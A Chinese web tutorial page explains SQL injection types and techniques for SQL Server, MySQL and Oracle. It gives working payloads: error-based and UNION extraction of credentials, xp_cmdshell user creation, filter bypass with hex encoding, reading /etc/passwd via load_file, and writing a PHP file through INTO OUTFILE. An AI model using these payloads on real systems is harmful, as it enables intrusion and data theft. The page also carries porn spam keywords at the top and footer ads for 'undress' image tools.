国产av日韩一区二区三区精品,成人性爱视频在线观看,国产,欧美,日韩,一区,www.成色av久久成人,2222eeee成人天堂

首頁 運維 安全 sql注入的三種方式是什么?

sql注入的三種方式是什么?

Jul 20, 2020 pm 04:46 PM
sql注入

sql注入的三種方式,分別是:1、數(shù)字型注入;當輸入的參數(shù)為整型時,則有可能存在數(shù)字型注入漏洞。2、字符型注入;當輸入參數(shù)為字符串時,則可能存在字符型注入漏洞。3、其他類型(例如:搜索型注入、Cookie注入、POST注入等)。

sql注入的三種方式是什么?

SQL 注入原理

SQL注入攻擊指的是通過構建特殊的輸入作為參數(shù)傳入Web應用程序,而這些輸入大都是SQL語法里的一些組合,通過執(zhí)行SQL語句進而執(zhí)行攻擊者所要的操作,其主要原因是程序沒有細致地過濾用戶輸入的數(shù)據(jù),致使非法數(shù)據(jù)侵入系統(tǒng)。

SQL 注入分類

1. 數(shù)字型注入

當輸入的參數(shù)為整型時,則有可能存在數(shù)字型注入漏洞。

假設存在一條 URL 為:HTTP://www.aaa.com/test.php?id=1
可以對后臺的 SQL 語句猜測為:
SELECT * FROM table WHERE id=1

判斷數(shù)字型漏洞的 SQL 注入點

① 先在輸入框中輸入一個單引號 '

這樣的 SQL 語句就會變?yōu)椋?/p>

SELECT * FROM table WHERE id=1',

不符合語法,所以該語句肯定會出錯,導致腳本程序無法從數(shù)據(jù)庫獲取數(shù)據(jù),從而使原來的頁面出現(xiàn)異常。

② 在輸入框中輸入 and 1 = 1

SQL語句變?yōu)椋?/p>

SELECT * FROM table WHERE id=1 and 1 = 1

語句正確,執(zhí)行正常,返回的數(shù)據(jù)與原始請求無任何差異。

③ 在數(shù)據(jù)庫中輸入 and 1 = 2

SQL 語句變?yōu)椋?/p>

SELECT * FROM table WHERE id=1 and 1 = 2

雖然語法正確,語句執(zhí)行正常,但是邏輯錯誤,因為 1 = 2 為永假,所以返回數(shù)據(jù)與原始請求有差異。

如果以上三個步驟全部滿足,則程序就可能存在數(shù)字型 SQL 注入漏洞。

2. 字符型注入

當輸入參數(shù)為字符串時,則可能存在字符型注入漏洞。數(shù)字型與字符型注入最大的區(qū)別在于:數(shù)字型不需要單引號閉合,而字符型一般需要使用單引號來閉合。

字符型注入最關鍵的是如何閉合 SQL 語句以及注釋多余的代碼。

假設后臺的 SQL 語句如下:
SELECT * FROM table WHERE username = 'admin'

判斷字符型漏洞的 SQL 注入點

① 還是先輸入單引號 admin' 來測試

這樣的 SQL 語句就會變?yōu)椋?/p>

SELECT * FROM table WHERE username = 'admin''。

頁面異常。

② 輸入:admin' and 1 = 1 --

注意:在 admin 后有一個單引號 ',用于字符串閉合,最后還有一個注釋符 --(兩條杠后面還有一個空格?。?!)。

SQL 語句變?yōu)椋?/p>

SELECT * FROM table WHERE username = 'admin' and 1 = 1 --

頁面顯示正確。

③ 輸入:admin' and 1 = 2 --

SQL 語句變?yōu)椋?/p>

SELECT * FROM table WHERE username = 'admin' and 1 = 2 --

頁面錯誤。

滿足上面三個步驟則有可能存在字符型 SQL 注入。

3. 其他類型

其實我覺得 SQL 注入只有兩種類型:數(shù)字型與字符型。很多人可能會說還有如:Cookie 注入、POST 注入、延時注入等。
的確如此,但這些類型的注入歸根結底也是數(shù)字型和字符型注入的不同展現(xiàn)形式或者注入的位置不同罷了。

以下是一些常見的注入叫法:

  • POST注入:注入字段在 POST 數(shù)據(jù)中
  • Cookie注入:注入字段在 Cookie 數(shù)據(jù)中
  • 延時注入:使用數(shù)據(jù)庫延時特性注入
  • 搜索注入:注入處為搜索的地方
  • base64注入:注入字符串需要經過 base64 加密

常見數(shù)據(jù)庫的注入

攻擊者對于數(shù)據(jù)庫注入,無非是利用數(shù)據(jù)庫獲取更多的數(shù)據(jù)或者更大的權限,利用的方式可以歸結為以下幾類:

  • 查詢數(shù)據(jù)
  • 讀寫文件
  • 執(zhí)行命令

攻擊者對于程序注入,無論任何數(shù)據(jù)庫,無非都是在做這三件事,只不過不同的數(shù)據(jù)庫注入的 SQL 語句不一樣罷了。

這里介紹三種數(shù)據(jù)庫的注入:Oracle 11g、MySQL 5.1 和 SQL Server 2008。

SQL Server

1. 利用錯誤消息提取信息

SQL Server 數(shù)據(jù)庫是一個非常優(yōu)秀的數(shù)據(jù)庫,它可以準確地定位錯誤信息,這對攻擊者來說是一件十分美好的事情,因為攻擊者可以通過錯誤消息提取自己想要的數(shù)據(jù)。

① 枚舉當前表或者列

假設選擇存在這樣一張表:

在這里插入圖片描述
查詢 root 用戶的詳細信息,SQL 語句猜測如下:
SELECT * FROM user WHERE username = 'root' AND password = 'root'

攻擊者可以利用 SQL Server 特性來獲取敏感信息,在輸入框中輸入如下語句:
' having 1 = 1 --
最終執(zhí)行的 SQL 語句就會變?yōu)椋?br>SELECT * FROM user WHERE username = 'root' AND password = 'root' HAVING 1 = 1 --

那么 SQL 的執(zhí)行器可能會拋出一個錯誤:
在這里插入圖片描述

攻擊者就可以發(fā)現(xiàn)當前的表名為 user、而且存在字段 id。

攻擊者可以利用此特性繼續(xù)得到其他列名,輸入如下語句:
' GROUP BY users.id HAVING 1 = 1 --
則 SQL 語句變?yōu)椋?br>SELECT * FROM user WHERE username = 'root' AND password = 'root' GROUP BY users.id HAVING 1 = 1 --

拋出錯誤:
在這里插入圖片描述
由此可以看到包含列名 username。可以一次遞歸查詢,知道沒有錯誤消息返回位置,這樣就可以利用 HAVING 字句得到當表的所有列名。
注:Select指定的每一列都應該出現(xiàn)在Group By子句中,除非對這一列使用了聚合函數(shù)

②. 利用數(shù)據(jù)類型錯誤提取數(shù)據(jù)

如果試圖將一個字符串與非字符串比較,或者將一個字符串轉換為另一個不兼容的類型,那么SQL 編輯器將會拋出異常。

如下列 SQL 語句:
SELECT * FROM user WHERE username = 'abc' AND password = 'abc' AND 1 > (SELECT TOP 1 username FROM users)

執(zhí)行器錯誤提示:
在這里插入圖片描述
這就可以獲取到用戶的用戶名為 root。因為在子查詢 SELECT TOP 1 username FROM users 中,將查詢到的用戶名的第一個返回,返回類型是 varchar 類型,然后要跟 int 類型的 1 比較,兩種類型不同的數(shù)據(jù)無法比較而報錯,從而導致了數(shù)據(jù)泄露。

利用此方法可以遞歸推導出所有的賬戶信息:
SELECT * FROM users WHERE username = 'abc' AND password = 'abc' AND 1 > (SELECT TOP 1 username FROM users WHERE not in ('root'))。
通過構造此語句就可以獲得下一個 用戶名;若把子查詢中的 username 換成其他列名,則可以獲取其他列的信息,這里就不再贅述。

2. 獲取元數(shù)據(jù)

SQL Server 提供了大量視圖,便于取得元數(shù)據(jù)??梢韵炔聹y出表的列數(shù),然后用 UNION 來構造 SQL 語句獲取其中的數(shù)據(jù)。
如:
SELECT *** FROM *** WHERE id = *** UNION SELECT 1, TABLE_NAME FROM INFORMATION_SCHEMA.TABLES
若當前表的列數(shù)為 2,則可以 UNION 語句獲取當前數(shù)據(jù)庫表。具體怎么猜測當前表的列數(shù),后面進行描述。

一些常用的系統(tǒng)數(shù)據(jù)庫視圖:

數(shù)據(jù)庫視圖 說明
SYS.DATABASES SQL Server 中的所有數(shù)據(jù)庫
SYS.SQL_LOGINS SQL Server 中的所有登錄名
INFORMATION_SCHEMA.TABLES 當前用戶數(shù)據(jù)庫中的所有數(shù)據(jù)表
INFORMATION_SCHEMA.COLUMNS 當前用戶數(shù)據(jù)庫中的所有列
SYS.ALL_COLUMNS 用戶定義對象和系統(tǒng)對象的所有列的聯(lián)合
SYS.DATABASE_PRINCIPALS 數(shù)據(jù)庫中每個權限或列異常權限
SYS.DATABASE_FILES 存儲在數(shù)據(jù)庫中的數(shù)據(jù)庫文件
SYSOBJECTS 數(shù)據(jù)庫中創(chuàng)建的每個對象 (包括約束、日志以及存儲過程)

3. ORDER BY 子句猜測列數(shù)

可以用 ORDER BY 語句來判斷當前表的列數(shù)。

如:
SELECT * FROM users WHERE id = 1——SQL執(zhí)行正常

SELECT * FROM users WHERE id = 1 ORDER BY 1 (按照第一列排序)——SQL執(zhí)行正常

SELECT * FROM users WHERE id = 1 ORDER BY 2 (按照第二列排序)——SQL執(zhí)行正常

SELECT * FROM users WHERE id = 1 ORDER BY 3 (按照第三列排序)——SQL 執(zhí)行正常

SELECT * FROM users WHERE id = 1 ORDER BY 4 (按照第四列排序)——SQL 拋出異常:
在這里插入圖片描述
由此可以得出,當前表的列數(shù)只有 3 列,因為當按照第 4 列排序時報錯了。在 Oracle 和 MySql ?數(shù)據(jù)庫中同樣適用此方法。

在得知列數(shù)后,攻擊者通常會配合 UNION 關鍵字進行下一步的攻擊。

4. UNION 查詢

UNION 關鍵字將兩個或多個查詢結果組合為單個結果集,大部分數(shù)據(jù)庫都支持 UNION 查詢。但適用 UNION 合并兩個結果有如下基本規(guī)則:

  • 所有查詢中的列數(shù)必須相同
  • 數(shù)據(jù)類型必須兼容

① 用 UNION 查詢猜測列數(shù)
不僅可以用 ORDER BY 方法來猜測列數(shù),UNION 方法同樣可以。

在之前假設的 user 表中有 5 列,若我們用 UNION 聯(lián)合查詢:
SELECT * FROM users WHERE id = 1 UNION SELECT 1
數(shù)據(jù)庫會發(fā)出異常:
在這里插入圖片描述
可以通過遞歸查詢,直到無錯誤產生,就可以得知 User 表的查詢字段數(shù):
UNION SELECT 1,2UNION SELECT 1,2,3

也可以將 SELECT 后面的數(shù)字改為 null、這樣不容易出現(xiàn)不兼容的異常。

② 聯(lián)合查詢敏感信息
在得知列數(shù)為 4后,可以使用一下語句繼續(xù)注入:
UNION SELECT 'x', null, null, null FROM SYSOBJECT WHERE xtype='U' (注:xtype=‘U’ 表示對象類型是表)

若第一列的數(shù)據(jù)類型不匹配,數(shù)據(jù)庫會報錯,那么可以遞歸查詢,直到語句兼容。等到語句正常執(zhí)行,就可以將 x 換為 SQL 語句,查詢敏感信息。

5. 利用SQL Server 提供的系統(tǒng)函數(shù)

SQL Server 提供了非常多的系統(tǒng)函數(shù),利用該系統(tǒng)函數(shù)可以訪問 SQL Server 系統(tǒng)表中的信息,而無需使用 SQL 查詢語句。

如:

  • SELECT suser_name():返回用戶的登錄標識名
  • SELECT user_name():基于指定的標識號返回數(shù)據(jù)庫用戶名
  • SELECT db_name():返回數(shù)據(jù)庫名
  • SELECT is_member(‘db_owner’):是否為數(shù)據(jù)庫角色
  • SELECT convert(int, ‘5’):數(shù)據(jù)類型轉換

6. 存儲過程

存儲過程 (Stored Procedure) 是在大型數(shù)據(jù)庫系統(tǒng)中為了完成特定功能的一組 SQL “函數(shù)”,如:執(zhí)行系統(tǒng)命令、查看注冊表、讀取磁盤目錄等。

攻擊者最長使用的存儲過程是 “xp_cmdshell”,這個存儲過程允許用戶執(zhí)行操作系統(tǒng)命令。
例如:http://www.aaa.org/test.aspx?id=1 中存在注入點,那么攻擊者就可以實施命令攻擊:
http://www.aaa.org/test.aspx?id=1;exec xp_cmdshell 'net user test test /add'

最終執(zhí)行的 SQL 語句如下:
SELECT * FROM table WHERE id=1; exec xp_cmdshell 'net user test test /add'
分號后面的那一段語句就可以為攻擊者在對方服務器上新建一個用戶名為 test、密碼為 test 的用戶。
注:并不是任何數(shù)據(jù)庫用戶都可以使用此類存儲過程,用戶必須持有 CONTROL SERVER 權限。

常見的危險存儲過程如下表:

存儲過程 說明
sp_addlogin 創(chuàng)建新的 SQL Server 登錄,該登錄允許用戶使用 SQL Server 身份連接到 SQL Server 實例
sp_dropuser 從當前數(shù)據(jù)庫中刪除數(shù)據(jù)庫用戶
xp_enumgroups 提供 Microsoft Windows 本地組列表或在指定的 Windows 域中定義全局組列表
xp_regread 讀取注冊表
xp_regwrite 寫入注冊表
xp_redeletevalue 刪除注冊表
xp_dirtree 讀取目錄
sp_password 更改密碼
xp_servicecontrol 停止或激活某服務

另外,任何數(shù)據(jù)庫在使用一些特殊的函數(shù)或存儲過程時,都需要特定的權限。常見的SQL Server 數(shù)據(jù)庫的角色與權限如下:

角色 權限
bulkadmin 可以運行 BULK INSERT 語句
dbcreator 可以創(chuàng)建、更改、刪除和還原任何數(shù)據(jù)庫
diskadmin 可以管理磁盤文件
processadmin 可以種植在數(shù)據(jù)庫引擎中運行的實例
securityadmin 可以管理登錄名及其屬性;可以利用 GRANT、DENY 和 REVOKE 服務器級別的權限;還可以利用 GRANT、DENY 和 REVOKE 數(shù)據(jù)庫級別的權限;此外也可以重置 SQL Server 登錄名的密碼
serveradmin 可以更改服務器范圍的配置選項和關閉服務器
setupadmin 可以添加和刪除鏈接服務器,并可以執(zhí)行某些系統(tǒng)存儲過程
sysadmin 可以在數(shù)據(jù)庫引擎中執(zhí)行任何活動

7. 動態(tài)執(zhí)行

SQL Server 支持動態(tài)執(zhí)行語句,用戶可以提交一個字符串來執(zhí)行 SQL 語句。

如:exec('SELECT username, password FROM users')

也可以通過定義十六進制的 SQL 語句,使用 exec 函數(shù)執(zhí)行。大部分 Web 應用程序和防火墻都過濾了單引號,利用 exec 執(zhí)行十六進制 SQL 語句可以突破很多防火墻及防注入程序,如:

declare?@query?varchar(888)
select?@query=0x73656C6563742031
exec(@query)

或者:
declare/**/@query/**/varchar(888)/**/select/**/@query=0x73656C6563742031/**/exec(@query)

MySQL

前面詳細講述了 SQL Server 的注入過程,在注入其他數(shù)據(jù)庫時,基本思路是相同的,只不過兩者使用的函數(shù)或者是語句稍有差異。

1. MySQL 中的注釋

MySQL 支持以下 3 中注釋風格:

  • “#”: 注釋從 “#” 到行尾
  • "-- " :注釋從 “-- ”序列到行位,需要注意的是使用此注釋時,后面需要跟上空格
  • /**/:注釋從 /* ?到 */ 之間的字符

2. 獲取元數(shù)據(jù)

MySQL 5.0 及其以上版本提供了 INFORMATION_SCHEMA,這是一個信息數(shù)據(jù)庫,它提供了訪問數(shù)據(jù)庫元數(shù)據(jù)的方式。下面介紹如何從中讀取數(shù)據(jù)庫名稱、表名稱以及列名稱。

① 查詢用戶數(shù)據(jù)庫名稱
SELECT SCHEMA_NAME FROM INFORMATION_SCHEMA.SCHEMATA
INFORMATION_SCHEMA.SCHEMATA 表提供了關于數(shù)據(jù)庫的信息。

②查詢當前數(shù)據(jù)表
SELECT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA = (SELECT DATABASE())
INFORMATION_SCHEMA.TABLES 表給出了數(shù)據(jù)庫中表的信息。

③查詢指定表的所有字段
SELECT COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME = '***'
INFORMATION_SCHEMA.COLUMNS 表中給出了表中的列信息。

3. UNION 查詢

與 SQL Server 大致相同,此處不贅述。

4. MySQL 函數(shù)利用

無論是 MySQL、Oracle 還是其他數(shù)據(jù)庫都內置了許多系統(tǒng)函數(shù),這些數(shù)據(jù)庫函數(shù)都非常類似,接下來介紹一些對滲透測試人員很有幫助的 MySQL 函數(shù)。

① load_file() 函數(shù)讀文件操作

MySQL 提供了 load_file() 函數(shù),可以幫助用戶快速讀取文件,但文件的位置必須在服務器上,文件必須為絕對路徑,且用戶必須有 FILE 權限,文件容量也必須小于 max_allowed_packet 字節(jié) (默認為 16MB,最大為 1GB)。

SQL 語句如下:
UNION SELECT 1, load_file('/etc/passwd'), 3, 4 #

通常一些防注入語句不允許單引號出現(xiàn),那么可以使用一下語句繞過:
UNION SELECT 1, load_file(0x2F6561342F706173737764), 3, 4 #
“0x2F6561342F706173737764” 為 “/etc/passwd” 的十六進制轉換結果。

在瀏覽器返回數(shù)據(jù)時,有可能存在亂碼問題,那么可以使用 hex() 函數(shù)將字符串轉換為十六進制數(shù)據(jù)。

② into outfile 寫文件操作

MySQL 提供了向磁盤寫文件的操作,與 load_file() 一樣,必須有 FILE 權限,并且文件必須為全路徑名稱。

寫入文件:
SELECT '<?php phpinfo();?>' into oufile 'C:\wwwroot\1.php'

③ 連接字符串

MySQL 如果需要一次查詢多個數(shù)據(jù),可以使用 concat() 或 concat_ws() 函數(shù)來完成。

SELECT name FROM student WHERE id = 1 UNION SELECT concat(user(), ',', database(), ',', version());

也可以將逗號改用十六進制表示:0x2c

5. MySQL 顯錯式注入

MySQL 也存在顯錯式注入,可以像 SQL Server 數(shù)據(jù)庫那樣,使用錯誤提取消息。

① 通過 updatexml 函數(shù)執(zhí)行 SQL 語句

首先了解下updatexml()函數(shù):
updatexml (XML_document, XPath_string, new_value);
第一個參數(shù):XML_document是String格式,為XML文檔對象的名稱;
第二個參數(shù):XPath_string (Xpath格式的字符串) ,
第三個參數(shù):new_value,String格式,替換查找到的符合條件的數(shù)據(jù)

SELECT * FROM message WHERE id = 1 and updatexml(1, (concat(0x7c, (SELECT @@version))), 1)
其中的concat()函數(shù)是將其連成一個字符串,因此不會符合XPATH_string的格式,從而出現(xiàn)格式錯誤,報錯,會顯示出無法識別的內容:
在這里插入圖片描述

② 通過 extractvalue函數(shù)
SEELCT * FROM message WHERE id= 1 AND extravtvalue(1, concat(0x7c, (SELECT user())))
同樣報錯顯示出當前用戶:
在這里插入圖片描述

6. 寬字節(jié)注入

寬字節(jié)注入是由編碼不統(tǒng)一所造成的,這種注入一般出現(xiàn)在 PHP + MySQL中。

在 PHP 配置文件 php.ini 中存在 magic_quotes_gpc 選項,被稱為魔術引號,當此選項被打開時,使用 GET、POST、Cookie 所接受的 單引號(’)、雙引號(")、反斜線() 和 NULL 字符都會自動加上一個反斜線轉義。

如下使用 PHP 代碼使用 $_GET 接收參數(shù):
在這里插入圖片描述

如訪問URL:http:/www.xxser.com/Get.php?id=',顯示如下:
在這里插入圖片描述

單引號'被轉義后就變成了\',在 MySQL 中,\'是一個合法的字符,也就沒辦法閉合單引號,所以,注入類型是字符型時無法構成注入。

但是若是輸入:%d5',訪問URL:http:/www.xxser.com/Get.php?id=%d5',顯示如下:
在這里插入圖片描述
可以發(fā)現(xiàn),這次單引號沒有被轉義,這樣就可以突破 PHP 轉義,繼續(xù)閉合 SQL 語句進行 SQL 注入。

7. MySQL 長字符截斷

MySQL 超長字符截斷又名 “SQL-Column-Truncation”。
在 MySQL 中的一個設置里有一個 sql_mode 選項,當 sql_mode 設置為 default 時,即沒有開啟 STRICT——ALL_TABLES 選項時,MySQL 對插入超長的值只會提示 waring,而不是 error。

假設有一張表如下:
在這里插入圖片描述
username 字段的長度為 7。

分別插入一下 SQL 語句:
① 插入正常 SQL 語句:
INSERT users(id, username, password) VALUES(1, 'admin', 'admin');
在這里插入圖片描述
成功插入。

② 插入錯誤的 SQL 語句,使 username 字段的長度超過7:
INSERT users(id, username, password) VALUES(2, 'admin ', 'admin');
在這里插入圖片描述
雖然有警告,但是成功插入了。

③ 再嘗試插入一條錯誤的 SQL 語句,長度同一超過原有的規(guī)定長度:
INSERT users(id, username, password) VALUES(3, 'admin x), 'admin;
在這里插入圖片描述

查詢數(shù)據(jù)庫:
在這里插入圖片描述
可以看到,三條數(shù)據(jù)都被插入到數(shù)據(jù)庫中,但是值發(fā)生了變化。在默認情況下,如果數(shù)據(jù)超出默認長度,MySQL 會將其階段。

但是這樣怎么攻擊呢?通過查詢用戶名為 admin 的用戶:
在這里插入圖片描述
可以發(fā)現(xiàn),只查詢用戶名為 admin 的用戶,但是另外兩個長度不一致的 admin 用戶也被查詢出,這樣就會造成一些安全問題。

比如有一處管理員登錄時這樣判斷的:
$sql = "SELECT count(*) FROM users WHERE username = 'admin' AND password = '***'";

那么攻擊者只需要注冊一個長度超過規(guī)定長度的用戶名“admin ? ”即可輕易進入后臺管理頁面。

8. 延時注入

延時注入屬于盲注技術的一種,是一種基于時間差異的注入技術。下面以 MySQL 為例介紹延時注入。

在 MySQL 中有一個函數(shù):sleep(duration),這個函數(shù)意思是在 duration 參數(shù)給定數(shù)秒后運行語句,如下 SQL 語句:
SELECT * FROM users WHERE id = 1 AND sleep(3)
就是將在 3 秒后執(zhí)行該 SQL 語句。

可以使用這個函數(shù)來判斷 URL 是否存在 SQL 注入漏洞,步驟如下:
在這里插入圖片描述
通過頁面返回的世界可以斷定,DBMS 執(zhí)行了 and sleep(3) 語句,這樣一來就可以判斷出 URL 存在 SQL 注入漏洞。

然后通過 sleep() 函數(shù)還可以讀出數(shù)據(jù),但需要其他函數(shù)的配合,步驟如下:
①查詢當前用戶,并取得字符串長度
執(zhí)行SQL 語句:
AND if(length(user()) = 0, sleep(3), 1)
如果出現(xiàn) 3 秒延時,就可以判斷出 user 字符串長度,注入時通常會采用折半算法減少判斷。

② 截取字符串第一個字符,并轉換為 ASCII 碼
AND if(hex(mid(user(), 1, 1)) = 1, sleep(3), 1)
AND if(hex(mid(user(), 1, 1)) = 2, sleep(3), 1)
……
不斷更換 ASCII 碼直到出現(xiàn)延時 3 秒就可以猜測出第一個字符。

③ 遞歸截取字符串每一個字符,分別于 ASCII 碼比較
AND if(hex(mid(user(), L, 1)) = N, sleep(3), 1)
注:L 的位置代表字符串的第幾個字符,N 的位置代表 ASCII 碼。

不僅在 MySQL 中存在延時函數(shù),在 SQL Server、Oracle 等數(shù)據(jù)庫中也都存在類似功能的函數(shù),如 SQL Server 的 waitfor delay、Oracle 中的 DBMS_LOCK.SLEEP 等函數(shù)。

Oracle

1. 獲取元數(shù)據(jù)

Oracle 也支持查詢元數(shù)據(jù),下面是 Oracle 注入常用的元數(shù)據(jù)視圖:
① user_tablespaces 視圖,查看表空間
SELECT tablespace_name FROM user_tablespaces

② user_tables 視圖,查看當前用戶的所有表
SELECT table_name FROM user_tables WHERE rownum = 1

③ user_tab_columns 視圖,查看當前用戶的所有列,如查詢 user 表的所有列:
SELECT column_name FROM user_tab_columns WHERE table_name = 'users'

④ all_users 視圖,查看 ORacle 數(shù)據(jù)庫的所有用戶
SELECT username FROM all_users

⑤ user_objects 視圖,查看當前用戶的所有對象 (表名稱、約束、索引)
SELECT object_name FROM user_objects

2. UNION 查詢

Oracle 與 MySQL 一樣不支持多語句執(zhí)行,不像 SQL Server 那樣可以用分號隔開從而注入多條 SQL 語句。

①獲取列的總數(shù)
獲取列總數(shù)方法與前面兩種數(shù)據(jù)庫類似,依然可以使用 ORDER BY 子句來完成。

另一種方法是利用 UNION 關鍵字來確定,但是 Oracle 規(guī)定,每次查詢時后面必須跟表的名稱,否則查詢將不成立。

在 Oracle 中可以使用:
UNION SELECT null, null, null …… FROM dual
這里的 dual 是 Oracle 中的虛擬表,在不知道數(shù)據(jù)庫中存在哪些表的情況下,可以使用此表作為查詢表。

然后獲取非數(shù)字類型列,即可以顯示出信息的列:
UNION SELECT 'null', null, null, …… FROM dual
UNION SELECT null, 'null', null, …… FROM dual

把每一位的 null 依次用單引號 ’ 引起來,如果報錯,則不是字符串類型的列;如果返回正常,則是字符串類型的列,就可以在相應的位置插入查詢語句獲取信息。

② 獲取敏感信息
常見的敏感信息如下:

  • 當前用戶權限:SELECT * FROM session_roles
  • 當前數(shù)據(jù)庫版本:SELECT banner FROM sys.v_$version WHERE rownum = 1
  • 服務器出口 IP:用utl_http.request 可以實現(xiàn)
  • 服務器監(jiān)聽 IP:SELECT utl_inaddr.get_host_address FROM dual
  • 服務器操作系統(tǒng):SELECT member FROM v$logfile WHERE rownum = 1
  • 服務器 SID:SELECT instance_name FROM v$instance
  • 當前連接用戶:SELECT SYS_CONTEXT('USERENV', 'CURRENT_USER') FROM dual

③ 獲取數(shù)據(jù)庫表及其內容
在得知表的列數(shù)之后,可以通過查詢元數(shù)據(jù)的方式查詢表名稱、列名稱,然后查詢數(shù)據(jù),如:
http://www.aaa.org/new.jsp?id=1 UNION SELECT username, password, null FROM users --
注意:在查詢數(shù)據(jù)時同樣要注意數(shù)據(jù)類型,否則無法查詢,只能一一測試,改變參數(shù)的查詢位置。

以上是sql注入的三種方式是什么?的詳細內容。更多信息請關注PHP中文網其他相關文章!

本站聲明
本文內容由網友自發(fā)貢獻,版權歸原作者所有,本站不承擔相應法律責任。如您發(fā)現(xiàn)有涉嫌抄襲侵權的內容,請聯(lián)系admin@php.cn

熱AI工具

Undress AI Tool

Undress AI Tool

免費脫衣服圖片

Undresser.AI Undress

Undresser.AI Undress

人工智能驅動的應用程序,用于創(chuàng)建逼真的裸體照片

AI Clothes Remover

AI Clothes Remover

用于從照片中去除衣服的在線人工智能工具。

Clothoff.io

Clothoff.io

AI脫衣機

Video Face Swap

Video Face Swap

使用我們完全免費的人工智能換臉工具輕松在任何視頻中換臉!

熱工具

記事本++7.3.1

記事本++7.3.1

好用且免費的代碼編輯器

SublimeText3漢化版

SublimeText3漢化版

中文版,非常好用

禪工作室 13.0.1

禪工作室 13.0.1

功能強大的PHP集成開發(fā)環(huán)境

Dreamweaver CS6

Dreamweaver CS6

視覺化網頁開發(fā)工具

SublimeText3 Mac版

SublimeText3 Mac版

神級代碼編輯軟件(SublimeText3)

熱門話題

Laravel 教程
1601
29
PHP教程
1502
276
PHP SQL注入漏洞的檢測和修復 PHP SQL注入漏洞的檢測和修復 Aug 08, 2023 pm 02:04 PM

PHPSQL注入漏洞的檢測和修復概述:SQL注入是指攻擊者利用Web應用程序對輸入進行惡意注入SQL代碼的一種攻擊方式。PHP作為一種廣泛應用于Web開發(fā)的腳本語言,被廣泛用于開發(fā)動態(tài)網站和應用程序。然而,由于PHP的靈活性和易用性,開發(fā)者常常忽略了安全性,導致了SQL注入漏洞的存在。本文將介紹如何檢測和修復PHP中的SQL注入漏洞,并提供相關代碼示例。檢

Laravel開發(fā)注意事項:防止SQL注入的方法與技巧 Laravel開發(fā)注意事項:防止SQL注入的方法與技巧 Nov 22, 2023 pm 04:56 PM

Laravel開發(fā)注意事項:防止SQL注入的方法與技巧隨著互聯(lián)網的發(fā)展和計算機技術的不斷進步,Web應用程序的開發(fā)也變得越來越普遍。在開發(fā)過程中,安全性一直是開發(fā)者不可忽視的重要問題。其中,防止SQL注入攻擊是開發(fā)過程中需要特別關注的安全問題之一。本文將介紹幾種Laravel開發(fā)中常用的方法和技巧,幫助開發(fā)者有效地防止SQL注入。使用參數(shù)綁定參數(shù)綁定是Lar

Nginx基礎安全知識:防范SQL注入攻擊 Nginx基礎安全知識:防范SQL注入攻擊 Jun 10, 2023 pm 12:31 PM

Nginx是一個快速、高性能、可擴展的Web服務器,它的安全性是Web應用程序開發(fā)中不可忽略的問題。尤其是SQL注入攻擊,它可以對Web應用程序造成巨大的破壞。在本篇文章中,我們將討論如何使用Nginx來防范SQL注入攻擊,以保護Web應用程序的安全。什么是SQL注入攻擊?SQL注入攻擊是一種利用Web應用程序漏洞的攻擊方式。攻擊者會在Web應用程序中注入惡

如何使用PHP防止SQL注入攻擊 如何使用PHP防止SQL注入攻擊 Jun 24, 2023 am 10:31 AM

在網絡安全領域里,SQL注入攻擊是一種常見的攻擊方式。它利用惡意用戶提交的惡意代碼來改變應用程序的行為以執(zhí)行不安全的操作。常見的SQL注入攻擊包括查詢操作、插入操作和刪除操作。其中,查詢操作是最常被攻擊的一種,而防止SQL注入攻擊的一個常用的方法是使用PHP。PHP是一種常用的服務器端腳本語言,它在web應用程序中的使用非常廣泛。PHP可以與MySQL等關系

您如何防止PHP中的SQL注入? (準備的陳述,PDO) 您如何防止PHP中的SQL注入? (準備的陳述,PDO) Apr 15, 2025 am 12:15 AM

在PHP中使用預處理語句和PDO可以有效防范SQL注入攻擊。1)使用PDO連接數(shù)據(jù)庫并設置錯誤模式。2)通過prepare方法創(chuàng)建預處理語句,使用占位符和execute方法傳遞數(shù)據(jù)。3)處理查詢結果并確保代碼的安全性和性能。

如何使用exp進行SQL報錯注入 如何使用exp進行SQL報錯注入 May 12, 2023 am 10:16 AM

0x01前言概述小編又在MySQL中發(fā)現(xiàn)了一個Double型數(shù)據(jù)溢出。當我們拿到MySQL里的函數(shù)時,小編比較感興趣的是其中的數(shù)學函數(shù),它們也應該包含一些數(shù)據(jù)類型來保存數(shù)值。所以小編就跑去測試看哪些函數(shù)會出現(xiàn)溢出錯誤。然后小編發(fā)現(xiàn),當傳遞一個大于709的值時,函數(shù)exp()就會引起一個溢出錯誤。mysql>selectexp(709);+-----------------------+|exp(709)|+-----------------------+|8.218407461554972

PHP表單過濾:SQL注入防范與過濾 PHP表單過濾:SQL注入防范與過濾 Aug 07, 2023 pm 03:49 PM

PHP表單過濾:SQL注入防范與過濾引言:隨著互聯(lián)網的快速發(fā)展,Web應用程序的開發(fā)變得越來越普遍。在Web開發(fā)中,表單是最常見的用戶交互方式之一。然而,表單提交數(shù)據(jù)的處理過程中存在著安全風險。其中,最常見的風險之一就是SQL注入攻擊。SQL注入攻擊是一種利用Web應用程序對用戶輸入數(shù)據(jù)進行處理不當而導致攻擊者能夠執(zhí)行非授權數(shù)據(jù)庫查詢的攻擊方式。攻擊者通過在

提升系統(tǒng)安全性:MyBatis 防范 SQL 注入攻擊的技巧 提升系統(tǒng)安全性:MyBatis 防范 SQL 注入攻擊的技巧 Feb 21, 2024 pm 09:12 PM

提升系統(tǒng)安全性:MyBatis防范SQL注入攻擊的技巧隨著信息技術的不斷發(fā)展,數(shù)據(jù)庫應用已經成為現(xiàn)代軟件系統(tǒng)中不可或缺的一部分。然而,隨之而來的是數(shù)據(jù)庫安全性問題,其中最為常見且危害嚴重的恐怕非SQL注入攻擊莫屬。SQL注入攻擊是指攻擊者通過在輸入字段中插入惡意SQL代碼,從而能夠非法獲取數(shù)據(jù)庫中的信息或者破壞數(shù)據(jù)庫的完整性。為了防范SQL

See all articles